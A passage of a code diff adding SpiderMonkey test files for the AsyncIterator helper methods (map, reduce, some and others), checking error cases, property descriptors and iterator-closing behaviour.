@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when `next` is non-callable.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+async function* gen(x) { yield x; }
+const methods = [
+ next => AsyncIterator.prototype.map.bind({next}, x => x),
+ next => AsyncIterator.prototype.filter.bind({next}, x => x),
+ next => AsyncIterator.prototype.take.bind({next}, 1),
+ next => AsyncIterator.prototype.drop.bind({next}, 0),
+ next => AsyncIterator.prototype.asIndexedPairs.bind({next}),
+ next => AsyncIterator.prototype.flatMap.bind({next}, gen),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
new file mode 100644
index 0000000000..d8a9b390fa
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when passed non-callables.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+
+const methods = [
+ (iter, fn) => iter.map(fn),
+ (iter, fn) => iter.filter(fn),
+ (iter, fn) => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, 0), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, false), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, undefined), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, null), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, ''), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, {}), TypeError);
+
+ assertThrowsInstanceOf(() => method(gen(), 0), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), false), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), undefined), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), null), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), ''), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), {}), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
new file mode 100644
index 0000000000..1a61f5001a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when called on non-iterators.
+info: >
+ AsyncIterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => AsyncIterator.prototype.map.bind(iter, x => x),
+ iter => AsyncIterator.prototype.filter.bind(iter, x => x),
+ iter => AsyncIterator.prototype.take.bind(iter, 1),
+ iter => AsyncIterator.prototype.drop.bind(iter, 0),
+ iter => AsyncIterator.prototype.asIndexedPairs.bind(iter),
+ iter => AsyncIterator.prototype.flatMap.bind(iter, gen),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol(''), {}, []]) {
+ assertThrowsInstanceOf(method(value), TypeError);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js
new file mode 100644
index 0000000000..276e59fc86
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw if `next.done` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js
new file mode 100644
index 0000000000..bb38a67000
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw if `next` call returns a non-object.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return value;
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol('')]) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next(value).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js
new file mode 100644
index 0000000000..d7a582c6c1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(x) { yield x; }
+
+const methods = ['map', 'filter', 'flatMap'];
+
+for (const method of methods) {
+ const iter = gen('value');
+ const iterHelper = iter[method](x => iterHelper.next());
+ iterHelper.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/length.js b/js/src/tests/non262/AsyncIterator/prototype/map/length.js
new file mode 100644
index 0000000000..4bd55f92e0
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.map length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.map.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.map, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/map.js b/js/src/tests/non262/AsyncIterator/prototype/map/map.js
new file mode 100644
index 0000000000..b3adb5cd6c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/map.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const iter = gen().map(x => x**2);
+
+for (const v of [1, 4, 9]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/name.js b/js/src/tests/non262/AsyncIterator/prototype/map/name.js
new file mode 100644
index 0000000000..efb7181966
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.map.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.map.name, 'map');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.map, 'name');
+assertEq(propertyDescriptor.value, 'map');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js
new file mode 100644
index 0000000000..943094aabc
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, _) => acc;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer, 0).then(value => assertEq(value, 0));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js
new file mode 100644
index 0000000000..2328cc3521
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().reduce(() => {}, 0).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4a5484f786
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.reduce(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js
new file mode 100644
index 0000000000..6472c1a14d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.reduce
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'reduce');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
new file mode 100644
index 0000000000..c54fccba20
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {}
+gen().reduce((x, y) => x + y).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js
new file mode 100644
index 0000000000..16c0ac51a9
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().reduce().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.reduce.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js
new file mode 100644
index 0000000000..8961c69903
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).reduce(() => {}, 0), gen(2).reduce(() => {}, 0)]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js
new file mode 100644
index 0000000000..b664d25729
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (x, y) => 0;
+async function *gen() {}
+
+gen().reduce(reducer, 1).then(result => assertEq(result, 1));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js
new file mode 100644
index 0000000000..57c244d603
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ constructor(value) {
+ super();
+ this.value = value;
+ }
+
+ next() {
+ return Promise.resolve(this.value);
+ }
+}
+
+const sum = (x, y) => x + y;
+function check(value) {
+ const iter = new TestIterator(value);
+ iter.reduce(sum).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js
new file mode 100644
index 0000000000..91147a1fba
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce((x, y) => `(${x}+${y})`, 0)
+ .then(result => assertEq(result, '(((0+1)+2)+3)'));
+gen().reduce((x, y) => `(${x}+${y})`)
+ .then(result => assertEq(result, '((1+2)+3)'));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js
new file mode 100644
index 0000000000..022df65164
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.reduce.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.reduce, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js
new file mode 100644
index 0000000000..aada19b46d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.reduce.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.reduce, 'name');
+assertEq(propDesc.value, 'reduce');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..796cdb1895
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const sum = (x, y) => x + y;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.reduce(sum).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
new file mode 100644
index 0000000000..0e480dbe4a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, _) => acc;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer).then(result => assertEq(result, 1));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js
new file mode 100644
index 0000000000..b1e6d52495
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.reduce only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.reduce((x, y) => x + y).then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js
new file mode 100644
index 0000000000..d2382e4d53
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, value) => acc + value;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer, 0).then(result => assertEq(result, 6));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js
new file mode 100644
index 0000000000..c7fb2005d8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {}
+
+function check(fn) {
+ gen().reduce(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js
new file mode 100644
index 0000000000..2a55a89850
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed, value: undefined });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const reducer = (x, y) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.reduce(reducer).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js
new file mode 100644
index 0000000000..7f95920fbd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const sum = (x, y) => x + y;
+function check(x) {
+ AsyncIterator.prototype.reduce.call(x, sum).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..bfe4a9213f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.reduce((x, y) => x + y, 0).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js
new file mode 100644
index 0000000000..384bf2e115
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().some(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..41dd30bee0
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+async function* gen() {
+ yield 1;
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.some(1).then(() => assertEq(true, false, 'expected error'), err => assertEq(err instanceof TypeError, true));
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next`
+);
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..8b56511040
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).some(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, true);
+check([], true);
+check({}, true);
+check('test', true);
+
+check(false, false);
+check(0, false);
+check('', false);
+check(null, false);
+check(undefined, false);
+check(NaN, false);
